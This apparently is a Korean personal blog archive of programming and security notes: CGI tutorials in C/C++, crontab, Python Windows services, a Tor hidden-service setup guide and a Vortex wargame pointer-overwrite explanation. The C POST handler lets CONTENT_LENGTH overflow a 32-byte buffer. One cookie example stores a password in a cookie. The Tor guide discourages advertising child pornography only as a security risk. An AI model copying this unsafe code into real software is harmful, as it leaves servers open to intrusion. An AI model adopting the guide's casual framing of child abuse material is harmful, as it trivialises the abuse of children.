2013. 11. 24. 22:24

-exec 를 활용하여 사용.


find . ! -name a -and ! -name b | xargs rm -rf 


Posted by k1rha
2013. 11. 24. 16:05

[CGI 개발] html 전송 방식 CGI 로 처리하기

출처 : http://www.tutorialspoint.com/cplusplus/cpp_web_programming.htm


[ keyword  : cgi get post file dropbox 처리법 ] 

What is CGI?

  • The Common Gateway Interface, or CGI, is a set of standards that define how information is exchanged between the web server and a custom script.

  • The CGI specs are currently maintained by the NCSA and NCSA defines CGI is as follows:

  • The Common Gateway Interface, or CGI, is a standard for external gateway programs to interface with information servers such as HTTP servers.

  • The current version is CGI/1.1 and CGI/1.2 is under progress.

Web Browsing

To understand the concept of CGI, let's see what happens when we click a hyperlink to browse a particular web page or URL.

  • Your browser contacts the HTTP web server and demand for the URL ie. filename.

  • Web Server will parse the URL and will look for the filename. If it finds requested file then web server sends that file back to the browser otherwise sends an error message indicating that you have requested a wrong file.

  • Web browser takes response from web server and displays either the received file or error message based on the received response.

However, it is possible to set up the HTTP server in such a way that whenever a file in a certain directory is requested, that file is not sent back; instead it is executed as a program, and produced output from the program is sent back to your browser to display.

The Common Gateway Interface (CGI) is a standard protocol for enabling applications (called CGI programs or CGI scripts) to interact with Web servers and with clients. These CGI programs can be a written in Python, PERL, Shell, C or C++ etc.

CGI Architecture Diagram

The following simple program shows a simple architecture of CGI:

CGI Architecture

Web Server Configuration

Before you proceed with CGI Programming, make sure that your Web Server supports CGI and it is configured to handle CGI Programs. All the CGI Programs to be executed by the HTTP server are kept in a pre-configured directory. This directory is called CGI directory and by convention it is named as /var/www/cgi-bin. By convention CGI files will have extension as .cgi, though they are C++ executable.

By default, Apache Web Server is configured to run CGI programs in /var/www/cgi-bin. If you want to specify any other directory to run your CGI scripts, you can modify the following section in the httpd.conf file:

<Directory "/var/www/cgi-bin">
   AllowOverride None
   Options ExecCGI
   Order allow,deny
   Allow from all
</Directory>
 
<Directory "/var/www/cgi-bin">
Options All
</Directory>

Here, I assumed that you have Web Server up and running successfully and you are able to run any other CGI program like Perl or Shell etc.

First CGI Program

Consider the following C++ Program content:

#include <iostream>
using namespace std;
 
int main ()
{
    
   cout << "Content-type:text/html\r\n\r\n";
   cout << "<html>\n";
   cout << "<head>\n";
   cout << "<title>Hello World - First CGI Program</title>\n";
   cout << "</head>\n";
   cout << "<body>\n";
   cout << "<h2>Hello World! This is my first CGI program</h2>\n";
   cout << "</body>\n";
   cout << "</html>\n";
   
   return 0;
}

Compile above code and name the executable as cplusplus.cgi. This file is being kept in /var/www/cgi-bin directory and it has following content. Before running your CGI program make sure you have change mode of file using chmod 755 cplusplus.cgi UNIX command to make file executable. Now if you click cplusplus.cgi then this produces the following output:

Hello World! This is my first CGI program

Above C++ program is a simple program which is writing its output on STDOUT file ie. screen. There is one important and extra feature available which is first line to be printed Content-type:text/html\r\n\r\n. This line is sent back to the browser and specify the content type to be displayed on the browser screen. Now you must have understood basic concept of CGI and you can write many complicated CGI programs using Python. A C++ CGI program can interact with any other exernal system, such as RDBMS, to exchange information.

HTTP Header

The line Content-type:text/html\r\n\r\n is part of HTTP header, which is sent to the browser to understand the content. All the HTTP header will be in the following form

HTTP Field Name: Field Content
 
For Example
Content-type: text/html\r\n\r\n

There are few other important HTTP headers, which you will use frequently in your CGI Programming.

HeaderDescription
Content-type:A MIME string defining the format of the file being returned. Example is Content-type:text/html
Expires: DateThe date the information becomes invalid. This should be used by the browser to decide when a page needs to be refreshed. A valid date string should be in the format 01 Jan 1998 12:00:00 GMT.
Location: URLThe URL that should be returned instead of the URL requested. You can use this filed to redirect a request to any file.
Last-modified: DateThe date of last modification of the resource.
Content-length: NThe length, in bytes, of the data being returned. The browser uses this value to report the estimated download time for a file.
Set-Cookie: StringSet the cookie passed through the string

CGI Environment Variables

All the CGI program will have access to the following environment variables. These variables play an important role while writing any CGI program.

Variable NameDescription
CONTENT_TYPEThe data type of the content. Used when the client is sending attached content to the server. For example file upload etc.
CONTENT_LENGTHThe length of the query information. It's available only for POST requests
HTTP_COOKIEReturn the set cookies in the form of key & value pair.
HTTP_USER_AGENTThe User-Agent request-header field contains information about the user agent originating the request. Its name of the web browser.
PATH_INFOThe path for the CGI script.
QUERY_STRINGThe URL-encoded information that is sent with GET method request.
REMOTE_ADDRThe IP address of the remote host making the request. This can be useful for logging or for authentication purpose.
REMOTE_HOSTThe fully qualified name of the host making the request. If this information is not available then REMOTE_ADDR can be used to get IR address.
REQUEST_METHODThe method used to make the request. The most common methods are GET and POST.
SCRIPT_FILENAMEThe full path to the CGI script.
SCRIPT_NAMEThe name of the CGI script.
SERVER_NAMEThe server's hostname or IP Address
SERVER_SOFTWAREThe name and version of the software the server is running.


Here is small CGI program to list out all the CGI variables. Click this link to see the result Get Environment


#include <iostream>
#include <stdlib.h>
using namespace std;

const string ENV[ 24 ] = {                 
        "COMSPEC", "DOCUMENT_ROOT", "GATEWAY_INTERFACE",   
        "HTTP_ACCEPT", "HTTP_ACCEPT_ENCODING",             
        "HTTP_ACCEPT_LANGUAGE", "HTTP_CONNECTION",         
        "HTTP_HOST", "HTTP_USER_AGENT", "PATH",            
        "QUERY_STRING", "REMOTE_ADDR", "REMOTE_PORT",      
        "REQUEST_METHOD", "REQUEST_URI", "SCRIPT_FILENAME",
        "SCRIPT_NAME", "SERVER_ADDR", "SERVER_ADMIN",      
        "SERVER_NAME","SERVER_PORT","SERVER_PROTOCOL",     
        "SERVER_SIGNATURE","SERVER_SOFTWARE" };   

int main ()
{
    
   cout << "Content-type:text/html\r\n\r\n";
   cout << "<html>\n";
   cout << "<head>\n";
   cout << "<title>CGI Envrionment Variables</title>\n";
   cout << "</head>\n";
   cout << "<body>\n";
   cout << "<table border = \"0\" cellspacing = \"2\">";

   for ( int i = 0; i < 24; i++ )
   {
       cout << "<tr><td>" << ENV[ i ] << "</td><td>";
       // attempt to retrieve value of environment variable
       char *value = getenv( ENV[ i ].c_str() );  
       if ( value != 0 ){
         cout << value;                                 
       }else{
         cout << "Environment variable does not exist.";
       }
       cout << "</td></tr>\n";
   }
   cout << "</table><\n";
   cout << "</body>\n";
   cout << "</html>\n";
   
   return 0;
}

C++ CGI Library

For real examples, you would need to do many operations by your CGI program. There is a CGI library written for C++ program which you can download from ftp://ftp.gnu.org/gnu/cgicc/ and following the following steps to install the library:

$tar xzf cgicc-X.X.X.tar.gz 
$cd cgicc-X.X.X/ 
$./configure --prefix=/usr 
$make
$make install

You can check related documentation available at C++ CGI Lib Documentation.

GET and POST Methods

You must have come across many situations when you need to pass some information from your browser to web server and ultimately to your CGI Program. Most frequently browser uses two methods two pass this information to web server. These methods are GET Method and POST Method.

Passing Information using GET method:

The GET method sends the encoded user information appended to the page request. The page and the encoded information are separated by the ? character as follows:

http://www.test.com/cgi-bin/cpp.cgi?key1=value1&key2=value2

The GET method is the default method to pass information from browser to web server and it produces a long string that appears in your browser's Location:box. Never use the GET method if you have password or other sensitive information to pass to the server. The GET method has size limitation and you can pass upto 1024 characters in a request string.

When using GET method, information is passed using QUERY_STRING http header and will be accessible in your CGI Program through QUERY_STRING environment variable

You can pass information by simply concatenating key and value pairs alongwith any URL or you can use HTML <FORM> tags to pass information using GET method.

Simple URL Example : Get Method

Here is a simple URL which will pass two values to hello_get.py program using GET method.

/cgi-bin/cpp_get.cgi?first_name=ZARA&last_name=ALI

Below is program to generate cpp_get.cgi CGI program to handle input given by web browser. We are going to use C++ CGI library which makes it very easy to access passed information:

#include <iostream>
#include <vector>  
#include <string>  
#include <stdio.h>  
#include <stdlib.h> 

#include <cgicc/CgiDefs.h> 
#include <cgicc/Cgicc.h> 
#include <cgicc/HTTPHTMLHeader.h> 
#include <cgicc/HTMLClasses.h>  

using namespace std;
using namespace cgicc;

int main ()
{
   Cgicc formData;
   
   cout << "Content-type:text/html\r\n\r\n";
   cout << "<html>\n";
   cout << "<head>\n";
   cout << "<title>Using GET and POST Methods</title>\n";
   cout << "</head>\n";
   cout << "<body>\n";

   form_iterator fi = formData.getElement("first_name");  
   if( !fi->isEmpty() && fi != (*formData).end()) {  
      cout << "First name: " << **fi << endl;  
   }else{
      cout << "No text entered for first name" << endl;  
   }
   cout << "<br/>\n";
   fi = formData.getElement("last_name");  
   if( !fi->isEmpty() &&fi != (*formData).end()) {  
      cout << "Last name: " << **fi << endl;  
   }else{
      cout << "No text entered for last name" << endl;  
   }
   cout << "<br/>\n";

   cout << "</body>\n";
   cout << "</html>\n";
   
   return 0;
}

Now, compile the above program as follows:

$g++ -o cpp_get.cgi cpp_get.cpp -lcgicc

Generate cpp_get.cgi and put it in your CGI directory and try to access using following link:

/cgi-bin/cpp_get.cgi?first_name=ZARA&last_name=ALI

This would generate following result:

First name: ZARA 
Last name: ALI 

Simple FORM Example: GET Method

Here is a simple example which passes two values using HTML FORM and submit button. We are going to use same CGI script cpp_get.cgi to handle this input.

<form action="/cgi-bin/cpp_get.cgi" method="get">
First Name: <input type="text" name="first_name">  <br />
 
Last Name: <input type="text" name="last_name" />
<input type="submit" value="Submit" />
</form>

Here is the actual output of the above form, You enter First and Last Name and then click submit button to see the result.


First Name:  
Last Name:  

Passing Information using POST method:

A generally more reliable method of passing information to a CGI program is the POST method. This packages the information in exactly the same way as GET methods, but instead of sending it as a text string after a ? in the URL it sends it as a separate message. This message comes into the CGI script in the form of the standard input.

The same cpp_get.cgi program will handle POST method as well. Let us take same example as above, which passes two values using HTML FORM and submit button but this time with POST method as follows:

<form action="/cgi-bin/cpp_get.cgi" method="post">
First Name: <input type="text" name="first_name"><br />
Last Name: <input type="text" name="last_name" />
 
<input type="submit" value="Submit" />
</form>

Here is the actual output of the above form, You enter First and Last Name and then click submit button to see the result.


First Name:  
Last Name:  

Passing Checkbox Data to CGI Program

Checkboxes are used when more than one option is required to be selected.

Here is example HTML code for a form with two checkboxes

<form action="/cgi-bin/cpp_checkbox.cgi" 
         method="POST" 
         target="_blank">
<input type="checkbox" name="maths" value="on" /> Maths
<input type="checkbox" name="physics" value="on" /> Physics
<input type="submit" value="Select Subject" />
</form>

The result of this code is the following form

 Maths  Physics 

Below is C++ program, which will generate cpp_checkbox.cgi script to handle input given by web browser through checkbox button.

#include <iostream>
#include <vector>  
#include <string>  
#include <stdio.h>  
#include <stdlib.h> 

#include <cgicc/CgiDefs.h> 
#include <cgicc/Cgicc.h> 
#include <cgicc/HTTPHTMLHeader.h> 
#include <cgicc/HTMLClasses.h> 

using namespace std;
using namespace cgicc;

int main ()
{
   Cgicc formData;
   bool maths_flag, physics_flag;

   cout << "Content-type:text/html\r\n\r\n";
   cout << "<html>\n";
   cout << "<head>\n";
   cout << "<title>Checkbox Data to CGI</title>\n";
   cout << "</head>\n";
   cout << "<body>\n";

   maths_flag = formData.queryCheckbox("maths");
   if( maths_flag ) {  
      cout << "Maths Flag: ON " << endl;  
   }else{
      cout << "Maths Flag: OFF " << endl;  
   }
   cout << "<br/>\n";

   physics_flag = formData.queryCheckbox("physics");
   if( physics_flag ) {  
      cout << "Physics Flag: ON " << endl;  
   }else{
      cout << "Physics Flag: OFF " << endl;  
   }
   cout << "<br/>\n";
   cout << "</body>\n";
   cout << "</html>\n";
   
   return 0;
}

Passing Radio Button Data to CGI Program

Radio Buttons are used when only one option is required to be selected.

Here is example HTML code for a form with two radio button:

<form action="/cgi-bin/cpp_radiobutton.cgi" 
         method="post" 
         target="_blank">
<input type="radio" name="subject" value="maths" 
                                    checked="checked"/> Maths 
<input type="radio" name="subject" value="physics" /> Physics
<input type="submit" value="Select Subject" />
</form>

The result of this code is the following form

 Maths  Physics 

Below is C++ program, which will generate cpp_radiobutton.cgi script to handle input given by web browser through radio buttons.

#include <iostream>
#include <vector>  
#include <string>  
#include <stdio.h>  
#include <stdlib.h> 

#include <cgicc/CgiDefs.h> 
#include <cgicc/Cgicc.h> 
#include <cgicc/HTTPHTMLHeader.h> 
#include <cgicc/HTMLClasses.h> 

using namespace std;
using namespace cgicc;

int main ()
{
   Cgicc formData;
  
   cout << "Content-type:text/html\r\n\r\n";
   cout << "<html>\n";
   cout << "<head>\n";
   cout << "<title>Radio Button Data to CGI</title>\n";
   cout << "</head>\n";
   cout << "<body>\n";

   form_iterator fi = formData.getElement("subject");  
   if( !fi->isEmpty() && fi != (*formData).end()) {  
      cout << "Radio box selected: " << **fi << endl;  
   }
  
   cout << "<br/>\n";
   cout << "</body>\n";
   cout << "</html>\n";
   
   return 0;
}

Passing Text Area Data to CGI Program

TEXTAREA element is used when multiline text has to be passed to the CGI Program.

Here is example HTML code for a form with a TEXTAREA box:

<form action="/cgi-bin/cpp_textarea.cgi" 
         method="post" 
         target="_blank">
<textarea name="textcontent" cols="40" rows="4">
Type your text here...
</textarea>
<input type="submit" value="Submit" />
</form>

The result of this code is the following form

 

Below is C++ program, which will generate cpp_textarea.cgi script to handle input given by web browser through text area.

#include <iostream>
#include <vector>  
#include <string>  
#include <stdio.h>  
#include <stdlib.h> 

#include <cgicc/CgiDefs.h> 
#include <cgicc/Cgicc.h> 
#include <cgicc/HTTPHTMLHeader.h> 
#include <cgicc/HTMLClasses.h> 

using namespace std;
using namespace cgicc;

int main ()
{
   Cgicc formData;
  
   cout << "Content-type:text/html\r\n\r\n";
   cout << "<html>\n";
   cout << "<head>\n";
   cout << "<title>Text Area Data to CGI</title>\n";
   cout << "</head>\n";
   cout << "<body>\n";

   form_iterator fi = formData.getElement("textcontent");  
   if( !fi->isEmpty() && fi != (*formData).end()) {  
      cout << "Text Content: " << **fi << endl;  
   }else{
      cout << "No text entered" << endl;  
   }
  
   cout << "<br/>\n";
   cout << "</body>\n";
   cout << "</html>\n";
   
   return 0;
}

Passing Drop Down Box Data to CGI Program

Drop Down Box is used when we have many options available but only one or two will be selected.

Here is example HTML code for a form with one drop down box

<form action="/cgi-bin/cpp_dropdown.cgi" 
                       method="post" target="_blank">
<select name="dropdown">
<option value="Maths" selected>Maths</option>
<option value="Physics">Physics</option>
</select>
<input type="submit" value="Submit"/>
</form>

The result of this code is the following form

 

Below is C++ program, which will generate cpp_dropdown.cgi script to handle input given by web browser through drop down box.

#include <iostream>
#include <vector>  
#include <string>  
#include <stdio.h>  
#include <stdlib.h> 

#include <cgicc/CgiDefs.h> 
#include <cgicc/Cgicc.h> 
#include <cgicc/HTTPHTMLHeader.h> 
#include <cgicc/HTMLClasses.h> 

using namespace std;
using namespace cgicc;

int main ()
{
   Cgicc formData;
  
   cout << "Content-type:text/html\r\n\r\n";
   cout << "<html>\n";
   cout << "<head>\n";
   cout << "<title>Drop Down Box Data to CGI</title>\n";
   cout << "</head>\n";
   cout << "<body>\n";

   form_iterator fi = formData.getElement("dropdown");  
   if( !fi->isEmpty() && fi != (*formData).end()) {  
      cout << "Value Selected: " << **fi << endl;  
   }
  
   cout << "<br/>\n";
   cout << "</body>\n";
   cout << "</html>\n";
   
   return 0;
}

Using Cookies in CGI

HTTP protocol is a stateless protocol. But for a commercial website it is required to maintain session information among different pages. For example one user registration ends after completing many pages. But how to maintain user's session information across all the web pages.

In many situations, using cookies is the most efficient method of remembering and tracking preferences, purchases, commissions, and other information required for better visitor experience or site statistics.

How It Works

Your server sends some data to the visitor's browser in the form of a cookie. The browser may accept the cookie. If it does, it is stored as a plain text record on the visitor's hard drive. Now, when the visitor arrives at another page on your site, the cookie is available for retrieval. Once retrieved, your server knows/remembers what was stored.

Cookies are a plain text data record of 5 variable-length fields:

  • Expires : The date the cookie will expire. If this is blank, the cookie will expire when the visitor quits the browser.

  • Domain : The domain name of your site.

  • Path : The path to the directory or web page that set the cookie. This may be blank if you want to retrieve the cookie from any directory or page.

  • Secure : If this field contains the word "secure" then the cookie may only be retrieved with a secure server. If this field is blank, no such restriction exists.

  • Name=Value : Cookies are set and retrieved in the form of key and value pairs.

Setting up Cookies

This is very easy to send cookies to browser. These cookies will be sent along with HTTP Header before to Content-type filed. Assuming you want to set UserID and Password as cookies. So cookies setting will be done as follows

#include <iostream>
using namespace std;

int main ()
{
 
   cout << "Set-Cookie:UserID=XYZ;\r\n";
   cout << "Set-Cookie:Password=XYZ123;\r\n";
   cout << "Set-Cookie:Domain=www.tutorialspoint.com;\r\n";
   cout << "Set-Cookie:Path=/perl;\n";
   cout << "Content-type:text/html\r\n\r\n";

   cout << "<html>\n";
   cout << "<head>\n";
   cout << "<title>Cookies in CGI</title>\n";
   cout << "</head>\n";
   cout << "<body>\n";

   cout << "Setting cookies" << endl;  
  
   cout << "<br/>\n";
   cout << "</body>\n";
   cout << "</html>\n";
   
   return 0;
}

From this example, you must have understood how to set cookies. We use Set-Cookie HTTP header to set cookies.

Here, it is optional to set cookies attributes like Expires, Domain, and Path. It is notable that cookies are set before sending magic line "Content-type:text/html\r\n\r\n.

Compile above program to produce setcookies.cgi, and try to set cookies using following link. It will set four cookies at your computer:

/cgi-bin/setcookies.cgi

Retrieving Cookies

This is very easy to retrieve all the set cookies. Cookies are stored in CGI environment variable HTTP_COOKIE and they will have following form.

key1=value1;key2=value2;key3=value3....

Here is an example of how to retrieving cookies.

#include <iostream>
#include <vector>  
#include <string>  
#include <stdio.h>  
#include <stdlib.h> 

#include <cgicc/CgiDefs.h> 
#include <cgicc/Cgicc.h> 
#include <cgicc/HTTPHTMLHeader.h> 
#include <cgicc/HTMLClasses.h>

using namespace std;
using namespace cgicc;

int main ()
{
   Cgicc cgi;
   const_cookie_iterator cci;

   cout << "Content-type:text/html\r\n\r\n";
   cout << "<html>\n";
   cout << "<head>\n";
   cout << "<title>Cookies in CGI</title>\n";
   cout << "</head>\n";
   cout << "<body>\n";
   cout << "<table border = \"0\" cellspacing = \"2\">";
   
   // get environment variables
   const CgiEnvironment& env = cgi.getEnvironment();

   for( cci = env.getCookieList().begin();
        cci != env.getCookieList().end(); 
        ++cci )
   {
      cout << "<tr><td>" << cci->getName() << "</td><td>";
      cout << cci->getValue();                                 
      cout << "</td></tr>\n";
   }
   cout << "</table><\n";
  
   cout << "<br/>\n";
   cout << "</body>\n";
   cout << "</html>\n";
   
   return 0;
}

Now, compile above program to produce getcookies.cgi, and try to get a list of all the cookies available at your computer:

/cgi-bin/getcookies.cgi

This will produce a list of all the four cookies set in previous section and all other cookies set at your computer:

UserID XYZ 
Password XYZ123 
Domain www.tutorialspoint.com 
Path /perl 

File Upload Example:

To upload a file the HTML form must have the enctype attribute set to multipart/form-data. The input tag with the file type will create a "Browse" button.

<html>
<body>
   <form enctype="multipart/form-data" 
            action="/cgi-bin/cpp_uploadfile.cgi" 
            method="post">
   <p>File: <input type="file" name="userfile" /></p>
   <p><input type="submit" value="Upload" /></p>
   </form>
</body>
</html>

The result of this code is the following form:

File: 

Note: Above example has been disabled intentionally to save people uploading files on our server. But you can try above code with your server.

Here is the script cpp_uploadfile.cpp to handle file upload:

#include <iostream>
#include <vector>  
#include <string>  
#include <stdio.h>  
#include <stdlib.h> 

#include <cgicc/CgiDefs.h> 
#include <cgicc/Cgicc.h> 
#include <cgicc/HTTPHTMLHeader.h> 
#include <cgicc/HTMLClasses.h>

using namespace std;
using namespace cgicc;

int main ()
{
   Cgicc cgi;

   cout << "Content-type:text/html\r\n\r\n";
   cout << "<html>\n";
   cout << "<head>\n";
   cout << "<title>File Upload in CGI</title>\n";
   cout << "</head>\n";
   cout << "<body>\n";

   // get list of files to be uploaded
   const_file_iterator file = cgi.getFile("userfile");
   if(file != cgi.getFiles().end()) {
      // send data type at cout.
      cout << HTTPContentHeader(file->getDataType());
      // write content at cout.
      file->writeToStream(cout);
   }
   cout << "<File uploaded successfully>\n";
   cout << "</body>\n";
   cout << "</html>\n";
   
   return 0;
}

The above example is writing content at cout stream but you can open your file stream and save the content of uploaded file in a file at desired location.

Hope you enjoyed this tutorial. If yes, please send me your feedback at: Contact Us

Posted by k1rha
2013. 11. 18. 23:40

form.html

<html>
 <head>  <title> POST example</title> </head>
 <body>
  <center>
 <form action="http://localhost/cgi-bin/posttest.exe" method="POST">
  <input type="text" name="m"/> x 
  <input type="text" name="n"/> = 
  <input type="text" value=""/><br>
  <input type="submit" value="보여주세요"/>
 </form>
  </center>
 </body>
</html>


posttest.exe

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void) {
 char content[32];
 long m,n;
 long length;

 /* POST방식으로 요청한 문자열의 크기를 구한다 */
 char *content_len = getenv("CONTENT_LENGTH");

 /* 문자열의 크기는 문자열 형식이므로 정수로 변환한다 */
 sscanf(content_len, "%ld", &length);

 /* 표준입력스트림(stdin)으로부터 요청 문자열을 읽어온다 */
 fgets(content, length+2, stdin);

 printf("Content-Type:text/html;charset=euc-kr\n\n");

 printf("<html><head><title> POST요청, 곱셈결과 </title></head>\n");
 printf("<body><center>\n");
 printf("<h3>POST요청, 곱셈결과</h3>\n");

 printf("전달된 파라미터 : %s <br>\n 문자수 : %d \n", content, strlen(content));

 if(content==NULL) {
  printf("<p>웹브라우저에서 전달된 파라미터 문자열이 없습니다.<br>\n");
  printf("<p>요청폼에 2개의 수를 입력하고 다시 해보세요.<br>\n");
 }
 else if(sscanf(content, "m=%ld&n=%ld", &m, &n)!=2) 
  printf("<p>파라미터의 값은 정수이어야 합니다<br>.\n");
 else
  printf("<p>계산 결과: %ld * %ld = %ld.\n", m,n,m*n);

 printf("</center></body>\n");

 return 0;

}



Posted by k1rha
2013. 11. 17. 12:06

[출처 : http://blog.naver.com/wiznux?Redirect=Log&logNo=60202504815 ]

crontab은 스케줄링을 관리하는 프로그램으로 시스템 관리자에게 중요한 유틸 중 하나이다. 특정 시간대에 사용자가 작성한 스트립트나 명령을 실행 할 수 있다. 이는 rsync 같은 툴을 같이 사용하여 굉장히 편리한 백업 시스템을 만들 수도 있고 데이터 베이스관리나 기타 반복적인 업무를 간편하게 등록하여 사용 할 수 있다.

MIN HOUR DOM MON DOW CMD
필드명세허용 값
MIN0~59
HOUR시간0~23
DOM날짜1-31
MON1-12
DOW0-6
CMD명령어실행 가능 한 모든 명령어

1. 다음 시간 6월 10일 오전 8시 30분 을 cron 명령어에 맞게 작성해보자.

30 08 10 06 * /home/script/backup


Posted by k1rha
2013. 11. 6. 23:16

[출처 : http://blog.naver.com/mal031?Redirect=Log&logNo=100194620275  ]


링크만 남겨야하는데, 늘 링크만 남겼다가 자료가 없어지는 경우가 많아서... 퍼온 뒤 출처를 남긴다.




토르는 3단계 이상 우회하여 접속하는 익명 네트워크이다. 토르를 통해 접속하면 접속한 서버에서는 누가 접속해는지 알 방법이 없는데 마찬가지로 사이트 자체도 익명화가 가능하다. 이를 히든서비스라 부르는데 주소는 해쉬형태의 값을 가지며 .onion으로 끝난다.

 

작동 방법은 간단한데 서버에서 localhost전용서버를 열고 히든서비스에 등록하면 된다.

히든서비스에 등록하면 .onion주소를 얻는데 사이트를 홍보하기 위해 히든위키에 주소와 사이트 소개를 올린다.

 

흔히 딥웹이라고 하면 범죄사이트의 온상이라는 다소 환상적인 이미지가 강하지만 딥웹 사이트들은 위에서 설명한 과정을 통해 개설되었고 히든위키는 그 사이트 주소를 한데 모아둔 것에 불과하다.

 

이 강좌에서는 윈도우용 xampp를 이용해 Apache 서버를 열고 가벼운 이미지보드인 TinyIB를 이용해 이미지보드를 개설하는 방법을 설명한다. Unix환경도 기본적인 동작원리는 같다.

설정 파일을 수정해야 할 때가 있는데 메모장은 글자가 깨지므로 워드패드나 notepad++같은 에디터 사용을 권장한다.

 

준비물

1. xampp(압축형 권장) http://www.apachefriends.org/en/xampp-windows.html

2. 토르 브라우저 https://www.torproject.org/projects/torbrowser.html

3. TinyIB https://github.com/tslocum/TinyIB/archive/master.zip

 

 

localhost 이미지보드개설  

 

1. xampp를 C:\에 푼다. C:\ 이외에 usb드라이브나 램디스크를 이용해도 된다.

2. C:\xampp\apache\conf\httpd.conf 파일을 열고

#Listen 12.34.56.78:80
Listen 80

Listen 127.0.0.1:80
#Listen 80

로 바꿔준다. 이 작업을 하지 않으면 토르없이도 외부에서 접속할 수 있기 때문에 반드시 해야한다.

3. xampp-control을 실행하여 Apache옆의 Start 버튼을 누른다. mysql도 쓴다면 같이 켜준다. 별다른 에러메시지가 없다면 가동에 성공한 것이다.

4. C:\xampp\htdocs 에 있는 파일을 모두 지우고 위에서 받은 TinyIB를 풀어준다.

5. C:\xampp\htdocs\settings.default.conf 의 파일명을 settings.conf로 바꾸고 파일내의 TRIPSEED값과 ADMINPASS값을 설정해준다.

6. 인터넷 브라우저상에서 http://127.0.0.1/imgboard.php 에 접속한다.

 

 

 

Tor hidden service에 등록




1. 토르를 실행하고 설정-서비스들에서 서비스를 추가한다. 가상포트는 80, 디렉터리는 히든서비스 정보가 저장될 위치를 지정한다. 위치를 지정하기 전에 폴더가 존재하는지 확인한다. 없으면 만들어주자. ex)C:\xampp\torrc\

2. 확인을 누른 후 다시 설정-서비스들에 가면 양파주소가 생긴것을 확인할 수 있다. 이제 주소를 복사하기 위해 서비스를 선택하고(80을 누르면 선택된다) 복사 아이콘(겹친 종이모양)을 누르면 주소가 복사된다. 토르가 실행중이 아닐 때에는 위에서 설정한 C:\xampp\torrc\ 에서 확인할 수 있다.

3. 토르 브라우저에 주소를 복사하여 접속한다.

 

히든위키에 홍보

이제 내가 만든 사이트를 딥웹 세계에 알리기 위해 히든위키에 접속해서 자신의 주소를 올리고 간략히 설명하도록 한다. 단, 아동포르노(그림이 아닌 실제아동)는 해외 해커들의 공격대상이 될 수 있으니 자제하도록 한다.

 

주의사항

토르 네트워크 자체는 익명성을 보장하지만 접속자의 PC나 서버가 바이러스에 감염되면 스스로 개인정보를 유출해버릴 수 있다. 보안을 위해 다음과 같은 사항을 지켜야 한다.

1. 백신설치

2. 사이트 내에 개인정보를 남기지 말 것

3. IP와 같은 서버의 정보를 보여줄 수 있는 코드를 넣지 말 것

4. 아동포르노와 같이 미국정부나 해커를 자극할만한 사이트를 함부로 히든위키에 홍보하지 말 것, 자신의 보안실력을 100% 신뢰하지 않는다면 정말로 하지 않는편이 좋다

 

 

 

익명사이트/딥웹만들기/딥웹개설/익명사이트 만들기/딥웹 호스팅/익명사이트 호스팅/


Posted by k1rha
2013. 11. 6. 22:22

window7 으로 바뀌면서 여러가지 파일 및 명령어에 많은 권한이 생겼다.

이런 경우 일반 유저권한으로 파일을 만들었을때 제대로 동작하지 않는 것들이 많게 되는데,

py2exe 를 사용하고 있다면 컴파일 당시 권리자 권한을 요구 할 수 있다.


다음구조를 옵션으로 추가해 주면된다.




setup ( 
    windows
= [
       
{
           
"script" : "Chameleon.py",
           
"uac_info" : "requireAdministrator",
       
}
   
]
)


Posted by k1rha
2013. 10. 21. 11:22


출처 : http://pydjango.tistory.com/30



python Win32모듈 다운로드 후 아래 코드 작성

다운로드

아래 코드 작성 저장후 서비스 등록은 python filename.py install, 서비스 시작은 python filename.py start

### Run Python scripts as a service example (ryrobes.com)
### Usage : python aservice.py install (or / then start, stop, remove)

import win32service
import win32serviceutil
import win32api
import win32con
import win32event
import win32evtlogutil
import os, sys, string, time

class aservice(win32serviceutil.ServiceFramework):
    _svc_name_ = "Service short Name"
    _svc_display_name_ = "Service Display Name"
    _svc_description_ = "Service description


    def __init__(self, args):
        win32serviceutil.ServiceFramework.__init__(self, args)
        self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)

    def SvcStop(self):
        self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
        win32event.SetEvent(self.hWaitStop)

    def SvcDoRun(self):
        import servicemanager
        servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE,servicemanager.PYS_SERVICE_STARTED,(self._svc_name_, ''))

       self.timeout = 640000    #640 seconds / 10 minutes (value is in milliseconds)
       #self.timeout = 120000     #120 seconds / 2 minutes
       # This is how long the service will wait to run / refresh itself (see script below)

       while 1:
          # Wait for service stop signal, if I timeout, loop again
          rc = win32event.WaitForSingleObject(self.hWaitStop, self.timeout)
          # Check to see if self.hWaitStop happened
          if rc == win32event.WAIT_OBJECT_0:
            # Stop signal encountered
            servicemanager.LogInfoMsg("SomeShortNameVersion - STOPPED!")  #For Event Log
            break
          else:
            t=time.localtime()
            if t.tm_min==0 or t.tm_min==30:
                #Ok, here's the real money shot right here.
                #[actual service code between rests]
                try:
                    file_path = "C:\PYTHON\filename.py"
                    execfile(file_path)             #Execute the script
                except:
                    pass
                #[actual service code between rests]
            else:
                pass


def ctrlHandler(ctrlType):
    return True

if __name__ == '__main__':
   win32api.SetConsoleCtrlHandler(ctrlHandler, True)
   win32serviceutil.HandleCommandLine(aservice)


Posted by k1rha
2013. 10. 10. 00:13


[vortex] level3 -> level4


IP : 178.79.134.250

PORT : 22

ID : vortex3

PW : 64ncXTvx#

http://www.overthewire.org/wargames/vortex/vortex3.shtml ]

Level 3 → Level 4

1 /* 2 * 0xbadc0ded.org Challenge #02 (2003-07-08) 3 * 4 * Joel Eriksson <je@0xbadc0ded.org> 5 */ 6 7 #include <string.h> 8 #include <stdlib.h> 9 #include <stdio.h> 10 11 unsigned long val = 31337; 12 unsigned long *lp = &val; 13 14 int main(int argc, char **argv) 15 { 16 unsigned long **lpp = &lp, *tmp; 17 char buf[128]; 18 19 if (argc != 2) 20 exit(1); 21 22 strcpy(buf, argv[1]); 24 if (((unsigned long) lpp & 0xffff0000) != 0x08040000) 25 exit(2); 27 tmp = *lpp; 28 **lpp = (unsigned long) &buf; 29 // *lpp = tmp; // Fix suggested by Michael Weissbacher @mweissbacher 2013-06-30 30 31 exit(0); 32 }


중요시 봐야할 점은 29번째 라인까지 왔을때의 포인터 관계는 다음과 같다 .
tmp = *lpp  // lpp 가 가르키는 값 즉 val 값이 들어간다.
**lpp=&buf; //buffer에 쉘코드를 박으면 **lpp는 그것을 가르킨다.

변조한 *lpp 이 가르키는 곳에 &buff, 즉 쉘코드를 가르키게 할 수 있다.
